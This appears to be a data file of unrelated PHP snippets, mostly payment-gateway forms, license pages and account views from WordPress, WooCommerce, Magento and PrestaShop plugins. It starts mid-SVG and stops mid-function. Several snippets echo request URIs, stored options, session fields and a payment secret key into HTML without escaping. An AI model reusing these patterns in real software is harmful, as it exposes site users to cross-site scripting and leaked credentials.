30.5625 8.007813 Z M 38.660156 9.386719 C 38.269531 9.402344 37.910156 9.648438 37.765625 10.035156 C 37.570313 10.554688 37.832031 11.128906 38.351563 11.324219 C 39.0625 11.589844 39.765625 11.894531 40.453125 12.238281 C 40.597656 12.3125 40.75 12.347656 40.902344 12.347656 C 41.265625 12.347656 41.617188 12.148438 41.796875 11.796875 C 42.042969 11.308594 41.84375 10.703125 41.351563 10.453125 C 40.605469 10.078125 39.828125 9.738281 39.050781 9.445313 C 38.921875 9.398438 38.789063 9.382813 38.660156 9.386719 Z M 44.433594 12.675781 C 44.179688 12.707031 43.9375 12.835938 43.765625 13.050781 C 43.425781 13.488281 43.5 14.113281 43.9375 14.453125 C 44.605469 14.976563 45.25 15.550781 45.847656 16.152344 C 54.039063 24.339844 54.039063 37.660156 45.847656 45.847656 C 45.457031 46.242188 45.457031 46.871094 45.847656 47.265625 C 46.042969 47.457031 46.300781 47.558594 46.558594 47.558594 C 46.8125 47.558594 47.070313 47.457031 47.265625 47.265625 C 56.230469 38.296875 56.230469 23.703125 47.265625 14.734375 C 46.605469 14.078125 45.902344 13.453125 45.171875 12.878906 C 44.953125 12.710938 44.683594 12.644531 44.433594 12.675781 Z M 43 22 C 42.746094 22 42.488281 22.097656 42.292969 22.292969 L 28 36.585938 L 20.707031 29.292969 C 20.316406 28.902344 19.683594 28.902344 19.292969 29.292969 C 18.902344 29.683594 18.902344 30.316406 19.292969 30.707031 L 27.292969 38.707031 C 27.488281 38.902344 27.742188 39 28 39 C 28.257813 39 28.511719 38.902344 28.707031 38.707031 L 43.707031 23.707031 C 44.097656 23.316406 44.097656 22.683594 43.707031 22.292969 C 43.511719 22.097656 43.253906 22 43 22 Z M 21.375 47.394531 C 20.984375 47.347656 20.589844 47.527344 20.386719 47.886719 L 19.386719 49.617188 C 19.109375 50.097656 19.273438 50.707031 19.75 50.984375 C 19.90625 51.074219 20.078125 51.117188 20.25 51.117188 C 20.59375 51.117188 20.929688 50.9375 21.113281 50.617188 L 22.113281 48.886719 C 22.390625 48.410156 22.230469 47.796875 21.75 47.519531 C 21.628906 47.453125 21.5 47.410156 21.375 47.394531 Z M 40.625 47.394531 C 40.496094 47.410156 40.367188 47.453125 40.25 47.519531 C 39.769531 47.796875 39.609375 48.410156 39.886719 48.890625 L 40.886719 50.621094 C 41.070313 50.941406 41.40625 51.121094 41.75 51.121094 C 41.921875 51.121094 42.09375 51.074219 42.25 50.984375 C 42.730469 50.707031 42.890625 50.097656 42.613281 49.621094 L 41.613281 47.890625 C 41.40625 47.53125 41.011719 47.347656 40.625 47.394531 Z M 25.816406 49.34375 C 25.429688 49.398438 25.09375 49.675781 24.984375 50.078125 L 24.46875 52.011719 C 24.324219 52.542969 24.644531 53.089844 25.175781 53.234375 C 25.261719 53.257813 25.347656 53.265625 25.4375 53.265625 C 25.875 53.265625 26.28125 52.972656 26.402344 52.527344 L 26.921875 50.59375 C 27.0625 50.0625 26.746094 49.511719 26.214844 49.371094 C 26.082031 49.332031 25.945313 49.328125 25.816406 49.34375 Z M 36.1875 49.34375 C 36.058594 49.328125 35.921875 49.332031 35.785156 49.371094 C 35.253906 49.511719 34.9375 50.0625 35.078125 50.59375 L 35.597656 52.527344 C 35.71875 52.972656 36.121094 53.265625 36.5625 53.265625 C 36.652344 53.265625 36.738281 53.257813 36.824219 53.234375 C 37.355469 53.089844 37.675781 52.542969 37.53125 52.011719 L 37.015625 50.078125 C 36.90625 49.675781 36.570313 49.398438 36.1875 49.34375 Z M 31 50 C 30.445313 50 30 50.445313 30 51 L 30 53 C 30 53.554688 30.445313 54 31 54 C 31.554688 54 32 53.554688 32 53 L 32 51 C 32 50.445313 31.554688 50 31 50 Z \" fill=\"#2ecc71\"/>\n\t\t\t\t\t\t\t\t\t</g>\n\t\t\t\t\t\t\t\t</svg> \n \t\t\t\t\t\t</div>\n \t\t\t\t\t\t\t<div class=\"validated-feature-list-content\">\n \t\t\t\t\t\t\t\t<h4>Premium Support</h4>\n \t\t\t\t\t\t\t\t<p>Supported by professional and courteous staff.</p>\n \t\t\t\t\t\t\t</div>\n \t\t\t\t\t</div><!--./feature-list-item-->\n \t\t\t\t</div><!--./feature-list-->\n \t\t\t\t<?php } ?>\n\n \t\t\t\t<div class=\"eael-license-container\">\n\t\t\t\t\t\t<div class=\"eael-license-icon\">\n\t\t\t\t\t\t\t<?php if( $status == false && $status !== 'valid' ) { ?>\n\t\t\t\t\t\t\t\t<svg height=\"32px\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"32px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><title/><desc/><defs/><g fill=\"none\" fill-rule=\"evenodd\" id=\"Page-1\" stroke=\"none\" stroke-width=\"1\"><g fill=\"#EE3560\" id=\"icon-114-lock\"><path d=\"M16,21.9146472 L16,24.5089948 C16,24.7801695 16.2319336,25 16.5,25 C16.7761424,25 17,24.7721195 17,24.5089948 L17,21.9146472 C17.5825962,21.708729 18,21.1531095 18,20.5 C18,19.6715728 17.3284272,19 16.5,19 C15.6715728,19 15,19.6715728 15,20.5 C15,21.1531095 15.4174038,21.708729 16,21.9146472 L16,21.9146472 Z M9,14.0000125 L9,10.499235 C9,6.35670485 12.3578644,3 16.5,3 C20.6337072,3 24,6.35752188 24,10.499235 L24,14.0000125 C25.6591471,14.0047488 27,15.3503174 27,17.0094776 L27,26.9905224 C27,28.6633689 25.6529197,30 23.991212,30 L9.00878799,30 C7.34559019,30 6,28.652611 6,26.9905224 L6,17.0094776 C6,15.339581 7.34233349,14.0047152 9,14.0000125 L9,14.0000125 L9,14.0000125 Z M12,14 L12,10.5008537 C12,8.0092478 14.0147186,6 16.5,6 C18.9802243,6 21,8.01510082 21,10.5008537 L21,14 L12,14 L12,14 L12,14 Z\" id=\"lock\"/></g></g></svg>\n\t\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t\t\t<?php if( $status !== false && $status == 'valid' ) { ?>\n\t\t\t\t\t\t\t\t<svg height=\"30px\" version=\"1.1\" viewBox=\"0 0 32 32\" width=\"30px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><title/><desc/><defs/><g fill=\"none\" fill-rule=\"evenodd\" id=\"Page-1\" stroke=\"none\" stroke-width=\"1\"><g fill=\"rgba(20,216,161, .75)\" id=\"icon-116-lock-open\"><path d=\"M16,23.9146472 L16,26.5089948 C16,26.7801695 16.2319336,27 16.5,27 C16.7761424,27 17,26.7721195 17,26.5089948 L17,23.9146472 C17.5825962,23.708729 18,23.1531095 18,22.5 C18,21.6715728 17.3284272,21 16.5,21 C15.6715728,21 15,21.6715728 15,22.5 C15,23.1531095 15.4174038,23.708729 16,23.9146472 L16,23.9146472 L16,23.9146472 Z M24,9.5 L24,8.499235 C24,4.35752188 20.6337072,1 16.5,1 C12.3578644,1 9,4.35670485 9,8.499235 L9,16.0000125 L9,16.0000125 C7.34233349,16.0047152 6,17.339581 6,19.0094776 L6,28.9905224 C6,30.652611 7.34559019,32 9.00878799,32 L23.991212,32 C25.6529197,32 27,30.6633689 27,28.9905224 L27,19.0094776 C27,17.3503174 25.6591471,16.0047488 24,16 L22.4819415,16 L12.0274777,16 C12.0093222,15.8360041 12,15.6693524 12,15.5005291 L12,8.49947095 C12,6.01021019 14.0147186,4 16.5,4 C18.9802243,4 21,6.01448176 21,8.49947095 L21,9.5 L21,12.1239591 C21,13.1600679 21.6657972,14 22.5,14 C23.3284271,14 24,13.1518182 24,12.1239591 L24,9.5 L24,9.5 L24,9.5 Z\" id=\"lock-open\"/></g></g></svg>\n\t\t\t\t\t\t\t<?php } ?>\n\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"eael-license-input\">\n\t\t\t\t\t\t\t<input <?php echo ( $status !== false && $status == 'valid' ) ? 'disabled' : ''; ?> id=\"<?php echo $this->product_slug; ?>-license-key\" name=\"<?php echo $this->product_slug; ?>-license-key\" type=\"text\" class=\"regular-text\" value=\"<?php echo esc_attr( self::get_hidden_license_key() ); ?>\"\" placeholder=\"Place Your License Key and Activate\" />\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t<div class=\"eael-license-buttons\">\n\t\t\t\t\t\t\t<?php wp_nonce_field( $this->product_slug . '_license_nonce', $this->product_slug . '_license_nonce' ); ?>\n\n\t\t\t\t\t\t\t<?php if( $status !== false && $status == 'valid' ) { ?>\n\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"<?php echo $this->product_slug; ?>_license_deactivate\" />\n\t\t\t\t\t\t\t\t<?php submit_button( __( 'Deactivate License', $this->text_domain ), 'eael-license-deactivation-btn', 'submit', false, array( 'class' => 'button button-primary' ) ); ?>\n\t\t\t\t\t\t\t<?php } else { ?>\n\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"<?php echo $this->product_slug; ?>_license_activate\" />\n\t\t\t\t\t\t\t\t<?php submit_button( __( 'Activate License', $this->text_domain ), 'eael-license-activation-btn', 'submit', false, array( 'class' => 'button button-primary' ) ); ?>\n\t\t\t\t\t\t\t<?php } ?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t</form>\n\t\t</div>\n\t<?php\n\t}", "public function dbs_authorization_html()\r\n\t{\r\n\t\t?>\r\n\t\t<input type=\"text\" name=\"dbs_authorization\" value=\"<?php echo get_option('dbs_authorization')?>\" style=\"\r\n width: 600px !important;\"/>\r\n\r\n\t <?php\r\n\t}", "public function form(){\n\t\t\t$form = '<div class=\"alert_pay\"><img src=\"https://www.alertpay.com/images/AlertPay_accepted_97x95.png\" alt=\"AlertPay-Acceptance-1\"/></div>';\n\t\t\treturn $form;\n\t\t}", "protected function _getPaymentHtml()\n\t{\n\t\t$layout = $this->getLayout();\n\t\t$update = $layout->getUpdate();\n\t\t$update->load('checkout_onestep_payment');\n\t\t$layout->generateXml();\n\t\t$layout->generateBlocks();\n\t\t$output = $layout->getOutput();\n\t\tMage::getSingleton('core/translate_inline')->processResponseBody($output);\n\t\treturn $output;\n\t}", "function display_footer_subscriber_acquisition_form($pre_form_content = '')\n{\n\n\t$acquisition_copy = '<h3>Stay inspired.</h3><p>Weekly motivating thoughts and ideas to help you keep your team engaged.</p>';\n\n\t/* Build the form and set it to the form_string variable. */\n\t$form_output_string = '\n\t\t<section class=\"footer-subscriber-acquisition\">\n\t\t\t<div class=\"inner-container\">\n\t\t\t\t'. $pre_form_content .'\n\t\t\t\t'. $acquisition_copy .'\n\t\t\t\t<form action=\"'. $_SERVER['REQUEST_URI'] .'\" method=\"post\" name=\"footerSubscriberAcquisitionForm\" class=\"single-input-form\" id=\"footer-subscriber-acquisition-form\">\n\t\t\t\t\t<input name=\"footerSubscriberAcquisitionEmail\" type=\"text\" placeholder=\"Enter your email here\">\n\t\t\t\t\t<input name=\"footerSubscriberAcquisitionSubmit\" type=\"submit\" value=\"Sign me up!\">\n\t\t\t\t</form>\n\t\t\t</div>\n\t\t</section>';\n\n\techo $form_output_string;\n}", "public function ShowPaymentForm($provider)\n\t{\n\t\t$GLOBALS['PaymentFormContent'] = $provider->ShowPaymentForm();\n\t\t$GLOBALS['ISC_CLASS_TEMPLATE']->SetTemplate('checkout_payment');\n\t\t$GLOBALS['ISC_CLASS_TEMPLATE']->ParseTemplate();\n\t\texit;\n\t}", "public function contentHTML() {\n\t\t// If not then offer them a login or registration link\n\t\tif( !isset($_SESSION['username']) ) {\n\t\t\techo 'You need to be logged in';\n\t\t\treturn;\n\t\t}\n\t\t//include account html\n\t\tinclude 'templates/search/searchform.php';\n\t\tinclude 'templates/account/user-account.php';\n\t\t// If user is an admin\n\t\tif( $_SESSION['privilege'] == 'admin' ) {\n\t\t\tinclude 'templates/account/admin-controls.php';\n\t\t}\n\t}", "function shortcode() {\n\n ob_start();\n\n if ( is_user_logged_in() ) {\n $this->prepare_form();\n } else {\n printf( __( \"This page is restricted. Please %s to view this page.\", 'wpuf' ), wp_loginout( '', false ) );\n }\n\n $content = ob_get_contents();\n ob_end_clean();\n\n return $content;\n }", "public function displayPaymentSelection()\n\t{\n\t\t$content = $this->renderTemplate('Project/1_Website/Design/Applications/Commerce/Controllers/paymentInfo/paymentInfo.phtml');\n\t\tresponse::getInstance()->addContentToTree(array('APPLICATION_CONTENT'=>$content));\n\t}", "private function htmlFormHead()\n {\n $html = \"\";\n\n $html .= '<div class=\" jumbotron DarkJumbotron width100\" style=\"background-color: #161b22;\">';\n\n $html .= '<div class=\"container\">\n <div class=\"row\"><h2>User\\'s Informations</h2></div>\n <div class=\"row\">\n <div class=\"col-sm\">\n <ul class=\"list-group\">';\n $html .= '<li class=\"list-group-item\">Username: ' . $_SESSION['user']->username . '</li>';\n $html .= '<li class=\"list-group-item\">Email: ' . $_SESSION['user']->email . '</li>';\n if ($_SESSION['user']->getPrivateAccount() == 1) {\n\n $html .= '<li class=\"list-group-item\">Your account is not visible for other users</li>';\n } else {\n $html .= '<li class=\"list-group-item\">Your account is visible for other users</li>';\n }\n $html .= '\n </ul>\n </div>\n <div class=\"col-sm\">\n <div style=\"width: 70%; margin: auto;\">\n <a href=\"?r=dashboard&e=updatePassword\" class=\"btn btn-warning my-2\">Update password</a>\n <a href=\"?r=dashboard&e=updatePrivateAccount\" class=\"btn btn-warning my-2\">Update if account is private</a>\n </div>\n </div>\n </div>';\n\n $html .= '\n \n </div>\n </div>';\n\n return $html;\n }", "public function getPage() {\n return $this->render('payment_info.phtml');\n }", "public function getPaymentAction()\n\t{\n\t\t$this->_ajaxValidation();\n\t\t$response['content']=$this->_getPaymentHtml();\n\t\t$this->getResponse()->setBody(json_encode($response));\n\t}", "protected function secure_payment_field_html_format() {\n\t\treturn (\n\t\t'<div class=\"form-row form-row-wide globalpayments %1$s %2$s\">\n\t\t\t\t<label for=\"%1$s-%2$s\">%3$s&nbsp;<span class=\"required\">*</span></label>\n\t\t\t\t<div id=\"%1$s-%2$s\"></div>\n\t\t\t\t<ul class=\"woocommerce_error woocommerce-error validation-error\" style=\"display: none;\">\n\t\t\t\t\t<li>%4$s</li>\n\t\t\t\t</ul>\n\t\t\t</div>'\n\t\t);\n\t}", "function generate_form( $order_id ) {\n\t\tglobal $woocommerce, $wc_authorize_sim;\n\t\t\n\t\t$order = new WC_Order( $order_id );\n\t\t\n\t\t$this->add_log( 'Generating payment form for order #' . $order->id);\n\t\t\n\t\t$pay_url = $this->get_gateway_url();\n\t\t\n\t\t$params = $this->get_params( $order );\n\t\t\n\t\t$time = time();\n $fp_hash = AuthorizeNetSIM_Form::getFingerprint( $this->login_id, $this->tran_key, $params['x_amount'], $params['x_fp_sequence'], $time );\n\t\t\n\t\t$params['x_fp_timestamp'] \t= $time;\n\t\t$params['x_fp_hash'] \t\t= $fp_hash;\n\t\t\n\t\t$this->add_log( \"Sending request: \" . print_r( $params,true ));\n\t\t\n\t\t$form = new AuthorizeNetSIM_Form($params);\n\t\t\n\t\twc_enqueue_js( \n\t\t\t'$.blockUI({\n\t\t\t\tmessage: \"' . esc_js( __( 'Thank you for your order. We are now redirecting you to 2checkout to make payment.', WC_Authorize_SIM::TEXT_DOMAIN ) ) . '\",\n\t\t\t\tbaseZ: 99999,\n\t\t\t\toverlayCSS:\n\t\t\t\t{\n\t\t\t\t\tbackground: \"#fff\",\n\t\t\t\t\topacity: 0.6\n\t\t\t\t},\n\t\t\t\tcss: {\n\t\t\t\t\tpadding: \"20px\",\n\t\t\t\t\tzindex: \"9999999\",\n\t\t\t\t\ttextAlign: \"center\",\n\t\t\t\t\tcolor: \"#555\",\n\t\t\t\t\tborder: \"3px solid #aaa\",\n\t\t\t\t\tbackgroundColor:\"#fff\",\n\t\t\t\t\tcursor: \"wait\",\n\t\t\t\t\tlineHeight:\t\t\"24px\",\n\t\t\t\t}\n\t\t\t});\n\t\t\tjQuery(\"#authorize_sim_payment_form input[type=submit]\").click();' \n\t\t);\n?>\n<form action=\"<?php echo $pay_url ?>\" method=\"post\" id=\"authorize_sim_payment_form\">\n\t<?php echo $form->getHiddenFieldString(); ?>\n\t<?php echo implode( '', $this->line_items ) ?>\n\t<input type=\"submit\" class=\"button button-alt\" id=\"submit_authorize_sim_payment_form\" value=\"<?php _e('Pay via Authorize.Net SIM', WC_Authorize_SIM::TEXT_DOMAIN) ?>\" /> \n\t<a class=\"button cancel\" href=\"<?php echo $order->get_cancel_order_url() ?>\"><?php _e('Cancel order &amp; restore cart', WC_Authorize_SIM::TEXT_DOMAIN) ?></a>\n</form>\n<?php\n\t}", "function payment_fields() {\n?>\n\t\t<?php if ($this->tran_mode=='sandbox') : ?><p><?php _e('TEST MODE/SANDBOX ENABLED', WC_Authorize_SIM::TEXT_DOMAIN); ?></p><?php endif; ?>\n\t\t<?php if ($this->description) : ?><p><?php echo wpautop(wptexturize($this->description)); ?></p><?php endif; ?>\n<?php\n\n\t}", "private function _displayForm()\n\t{\n\t\t$transactions = array('0'=>$this->l('Authorization'),'1'=>$this->l('Preauthorization'),'2'=>$this->l('Preauthorization confirmation'),'3'=>$this->l('Callback'), '5' => $this->l('Recurring transaction'), '6' => $this->l('Successive transaction'), '7' => $this->l('Preauthentication'), '8' => $this->l('Preauthentication confirmation'), '9' => $this->l('Cancellation of Preauthentication'), 'O' => $this->l('Delayed authorization'), 'P' => $this->l('Delayed authorization confirmation'), 'Q' => $this->l('Delayed authorization cancellation'), 'R' => $this->l('Released initial recurring deferred'), 'S' => $this->l('Successive recurrent released'));\n\t\t\n\t\t$transact = 0;\n\t\t$transact2 = 0;\n\t\t$transact3 = 0;\n\t\tif ( (Tools::getValue('trans') == \"\") and (isset($this->trans)) )\n\t\t\t$transact = $this->trans;\n\t\telse\n\t\t\t$transact = Tools::getValue('trans');\n\t\tif ( (Tools::getValue('trans2') == \"\") and (isset($this->trans2)) )\n\t\t\t$transact2 = $this->trans2;\n\t\telse\n\t\t\t$transact2 = Tools::getValue('trans2');\n\t\tif ( (Tools::getValue('trans3') == \"\") and (isset($this->trans3)) )\n\t\t\t$transact3 = $this->trans3;\n\t\telse\n\t\t\t$transact3 = Tools::getValue('trans3');\n\t\t// obtenemos las monedas dadas de alta en la tienda\n\t\t$currencies = Currency::getCurrencies();\n\t\tif ( (Tools::getValue('nombre') == \"\") and (isset($this->nombre)) )\n\t\t\t$nombre = $this->nombre;\n\t\telse\n\t\t\t$nombre = Tools::getValue('nombre');\n\t\tif ( (Tools::getValue('nombre2') == \"\") and (isset($this->nombre2)) )\n\t\t\t$nombre2 = $this->nombre2;\n\t\telse\n\t\t\t$nombre2 = Tools::getValue('nombre2');\n\t\tif ( (Tools::getValue('nombre3') == \"\") and (isset($this->nombre3)) )\n\t\t\t$nombre3 = $this->nombre3;\n\t\telse\n\t\t\t$nombre3 = Tools::getValue('nombre3');\n\t\tif ( (Tools::getValue('clave') == \"\") and (isset($this->clave)) )\n\t\t\t$clave = $this->clave;\n\t\telse\n\t\t\t$clave = Tools::getValue('clave');\n\t\tif ( (Tools::getValue('clave2') == \"\") and (isset($this->clave2)) )\n\t\t\t$clave2 = $this->clave2;\n\t\telse\n\t\t\t$clave2 = Tools::getValue('clave2');\n\t\tif ( (Tools::getValue('clave3') == \"\") and (isset($this->clave3)) )\n\t\t\t$clave3 = $this->clave3;\n\t\telse\n\t\t\t$clave3 = Tools::getValue('clave3');\n\t\t// Opciones para el select de monedas.\n\t\tif ( (Tools::getValue('moneda') == \"\") and (isset($this->moneda)) )\n\t\t\t$moneda = $this->moneda;\n\t\telse\n\t\t\t$moneda = Tools::getValue('moneda');\n\t\tif ( (Tools::getValue('moneda2') == \"\") and (isset($this->moneda2)) )\n\t\t\t$moneda2 = $this->moneda2;\n\t\telse\n\t\t\t$moneda2 = Tools::getValue('moneda2');\n\t\tif ( (Tools::getValue('moneda3') == \"\") and (isset($this->moneda3)) )\n\t\t\t$moneda3 = $this->moneda3;\n\t\telse\n\t\t\t$moneda3 = Tools::getValue('moneda3');\n\t\t\n\t\tif ( (Tools::getValue('codigo') == \"\") and (isset($this->codigo)) )\n\t\t\t$codigo = $this->codigo;\n\t\telse\n\t\t\t$codigo = Tools::getValue('codigo');\n\t\tif ( (Tools::getValue('codigo2') == \"\") and (isset($this->codigo2)) )\n\t\t\t$codigo2 = $this->codigo2;\n\t\telse\n\t\t\t$codigo2 = Tools::getValue('codigo2');\n\t\tif ( (Tools::getValue('codigo3') == \"\") and (isset($this->codigo3)) )\n\t\t\t$codigo3 = $this->codigo3;\n\t\telse\n\t\t\t$codigo3 = Tools::getValue('codigo3');\n\t\tif ( (Tools::getValue('terminal') == \"\") and (isset($this->terminal)) )\n\t\t\t$terminal = $this->terminal;\n\t\telse\n\t\t\t$terminal = Tools::getValue('terminal');\n\t\tif ( (Tools::getValue('terminal2') == \"\") and (isset($this->terminal2)) )\n\t\t\t$terminal2 = $this->terminal2;\n\t\telse\n\t\t\t$terminal2 = Tools::getValue('terminal2');\n\t\tif ( (Tools::getValue('terminal3') == \"\") and (isset($this->terminal3)) )\n\t\t\t$terminal3 = $this->terminal3;\n\t\telse\n\t\t\t$terminal3 = Tools::getValue('terminal3');\n\t\t// Opciones para activar/desactivar SSL\n\t\t$ssl = Tools::getValue('ssl', $this->ssl);\n\t\t$ssl_si = ($ssl == 'si') ? ' checked=\"checked\" ' : '';\n\t\t$ssl_no = ($ssl == 'no') ? ' checked=\"checked\" ' : '';\n\t\t// Opciones para el comportamiento en error en el pago\n\t\t$error_pago = Tools::getValue('error_pago', $this->error_pago);\n\t\t$error_pago_si = ($error_pago == 'si') ? ' checked=\"checked\" ' : '';\n\t\t$error_pago_no = ($error_pago == 'no') ? ' checked=\"checked\" ' : '';\n\t\t// Opciones para activar los idiomas\n\t\t$idiomas_estado = Tools::getValue('idiomas_estado', $this->idiomas_estado);\n\t\t$idiomas_estado_si = ($idiomas_estado == 'si') ? ' checked=\"checked\" ' : '';\n\t\t$idiomas_estado_no = ($idiomas_estado == 'no') ? ' checked=\"checked\" ' : '';\n\t\t\n\t\t// Opciones entorno\n\t\tif (!isset($_POST['urltpv']))\n\t\t\t$entorno = Tools::getValue('env', $this->env);\n\t\telse\n\t\t\t$entorno = $_POST['urltpv'];\n\t\t$entorno_real_redsys = ($entorno==0) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_redsys = ($entorno==1) ? ' selected=\"selected\" ' : '';\t\t\n\t\t$entorno_real_sermepa = ($entorno==2) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_sermepa = ($entorno==3) ? ' selected=\"selected\" ' : '';\n\t\t// Opciones entorno 2\n\t\tif (!isset($_POST['urltpv2']))\n\t\t\t$entorno2 = Tools::getValue('env2', $this->env2);\n\t\telse\n\t\t\t$entorno2 = $_POST['urltpv2'];\n\t\t$entorno_real_redsys2 = ($entorno2==0) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_redsys2 = ($entorno2==1) ? ' selected=\"selected\" ' : '';\t\t\n\t\t$entorno_real_sermepa2 = ($entorno2==2) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_sermepa2 = ($entorno2==3) ? ' selected=\"selected\" ' : '';\n\t\t// Opciones entorno 3\n\t\tif (!isset($_POST['urltpv3']))\n\t\t\t$entorno3 = Tools::getValue('env3', $this->env3);\n\t\telse\n\t\t\t$entorno3 = $_POST['urltpv3'];\n\t\t$entorno_real_redsys3 = ($entorno3==0) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_redsys3 = ($entorno3==1) ? ' selected=\"selected\" ' : '';\t\t\n\t\t$entorno_real_sermepa3 = ($entorno3==2) ? ' selected=\"selected\" ' : '';\n\t\t$entorno_t_sermepa3 = ($entorno3==3) ? ' selected=\"selected\" ' : '';\n\t\t// Opciones del tipo de firma\n\t\t$tipofirma = Tools::getValue('tipofirma', $this->tipofirma);\n\t \t$tipofirma_a = ($tipofirma==0) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma_c = ($tipofirma==1) ? ' checked=\"checked\" ' : '';\n \t\t$tipofirma2 = Tools::getValue('tipofirma2', $this->tipofirma2);\n\t \t$tipofirma_a2 = ($tipofirma2==0) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma_c2 = ($tipofirma2==1) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma3 = Tools::getValue('tipofirma3', $this->tipofirma3);\n\t \t$tipofirma_a3 = ($tipofirma3==0) ? ' checked=\"checked\" ' : '';\n\t \t$tipofirma_c3 = ($tipofirma3==1) ? ' checked=\"checked\" ' : '';\n\t \n\t // Opciones notificacion\n\t $notificacion = Tools::getValue('notificacion', $this->notificacion);\n\t\t$notificacion_s = ($notificacion==1) ? ' checked=\"checked\" ' : '';\n\t\t$notificacion_n = ($notificacion==0) ? ' checked=\"checked\" ' : '';\n\t\t// Opciones multimoneda\n\t $multimoneda = Tools::getValue('multimoneda', $this->multimoneda);\n\t\t$multimoneda_s = ($multimoneda==1) ? ' checked=\"checked\" ' : '';\n\t\t$multimoneda_n = ($multimoneda==0) ? ' checked=\"checked\" ' : '';\n\t\t\n\t\t// Mostar formulario\n\t\t$this->_html .=\n\t\t'<form action=\"'.$_SERVER['REQUEST_URI'].'\" method=\"post\">\n\t\t\t<fieldset>\n\t\t\t<legend><img src=\"../img/admin/contact.gif\" />'.$this->l('Virtual POS configuration').'</legend>\n\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"4\" id=\"form\" style=\"font-size:12px;margin-bottom:3px\">\n\t\t\t\t\t<tr><td colspan=\"2\">\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t<legend>'.$this->l('Commerce configuration').' 1</legend>\n\t\t\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"2\" cellspacing=\"3\" style=\"font-size:12px\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Redsys environment').'</td>\n\t\t\t\t\t\t\t\t\t<td><select style=\"width:150px\" name=\"urltpv\">\n\t\t\t\t\t\t\t\t\t\t<option value=\"0\"'.$entorno_real_redsys.'>'.$this->l('Real Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"1\"'.$entorno_t_redsys.'>'.$this->l('Testing Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"2\"'.$entorno_real_sermepa.'>'.$this->l('Real Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"3\"'.$entorno_t_sermepa.'>'.$this->l('Testing Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce name').'</td><td><input type=\"text\" name=\"nombre\" value=\"'.htmlentities($nombre, ENT_COMPAT, 'UTF-8').'\" style=\"width: 200px;\" /></div></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Secret Key encryption').'</td><td><input type=\"text\" size=\"25\" maxlength=\"20\" name=\"clave\" value=\"'.$clave.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Terminal number').'</td><td><input type=\"text\" style=\"width:20px\" maxlength=\"3\" name=\"terminal\" value=\"'.$terminal.'\" style=\"width: 80px;\" /> &nbsp;\n\t\t\t\t\t\t\t\t\t'.$this->l('Currency').' &nbsp; <select style=\"width:130px\" name=\"moneda\" style=\"width: 80px;\"><option value=\"\"></option>';\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t$monedaselected = '';\n\t\t\t\t\t\t\t\t\t\tforeach ($currencies AS $currency) {\n\t\t\t\t\t\t\t\t\t\t\tif ($moneda == $currency[\"iso_code_num\"]) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$currency['iso_code_num'].'\"'.$monedaselected.'>'.$currency['name'].'</option>';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce number (FUC)').'</td><td><input type=\"text\" maxlength=\"9\" name=\"codigo\" value=\"'.$codigo.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Signature type').'</td><td><input type=\"radio\" name=\"tipofirma\" id=\"tipofirma_c\" value=\"1\"'.$tipofirma_c.'/>&nbsp;'.$this->l('Full').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"radio\" name=\"tipofirma\" id=\"tipofirma_a\" value=\"0\"'.$tipofirma_a.'/>&nbsp;'.$this->l('Full extended').'</td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Transaction type').'</td>\n\t\t\t\t\t\t\t\t<td><select name=\"trans\" style=\"width: 200px;\"><option value=\"\"></option>';\n\t\t\t\t\t\t\t\t\t$transactionselected = '';\n\t\t\t\t\t\t\t\t\tforeach($transactions as $codigoTrans => $descripcionTrans) 